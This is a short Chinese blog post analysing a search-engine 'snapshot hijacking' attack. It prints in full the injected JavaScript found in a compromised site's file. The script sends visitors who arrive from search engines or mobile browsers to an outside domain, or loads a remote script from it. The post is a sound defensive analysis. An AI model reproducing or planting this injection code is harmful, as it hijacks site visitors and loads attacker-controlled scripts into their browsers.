快照劫持的原理与JS跳转的分析

近日,查看网站快照时,发现从百度快照页点击过去后,都跳转到了一个体裁站,但是直接访问,没有任何跳转,打开页面发现有一个js文件被篡改了。代码如下:

 1 <script type="text/javascript">
 2 var je1 = /(sogou|soso|baidu|google|youdao|yahoo|bing|sm|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360)/g;
 3 var gtABvrdzG2 = /(Sogousearch|sogousearch|SogouSearch|baiduboxapp|SogouMobileBrowser|iPhone OS)/g;
 4 var $P3 = window["document"][‘referrer‘];
 5 if (je1[‘test‘]($P3) || gtABvrdzG2[‘test‘](navigator[‘userAgent‘])) {
 6     if ((navigator[‘userAgent‘][‘match‘](/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i))) {
 7         setTimeout("tiaoZ(‘https://bob123456.com/m/‘)", 1 * 200)
 8     } else {
 9         window["document"][‘write‘](‘<script src="https://www.bob123456.com/bob.js"></script></div>‘) } } function tiaoZ(nDZp4) { window[‘location‘][‘href‘] = nDZp4 };
10 </script>

此段代码显示,如果链接来源于第二行中字符串任何一个匹配,则跳转到 https://bob123456.com/。

因此,发生以上的现象,只需要找到该代码删除即可解决跳转。

不过,因为此段代码,是被渗透后,修改了的结果,最终的解决办法是要加强服务器的反渗透及安全防御,可以使用安全狗、360等安全软件进行环境监控及防御。

快照劫持的原理与JS跳转的分析

上一篇:-bash: /usr/local/maven/apache-maven-3.8.1/bin/mvn: 权限不够


下一篇:Kubernetes 网络故障深度追踪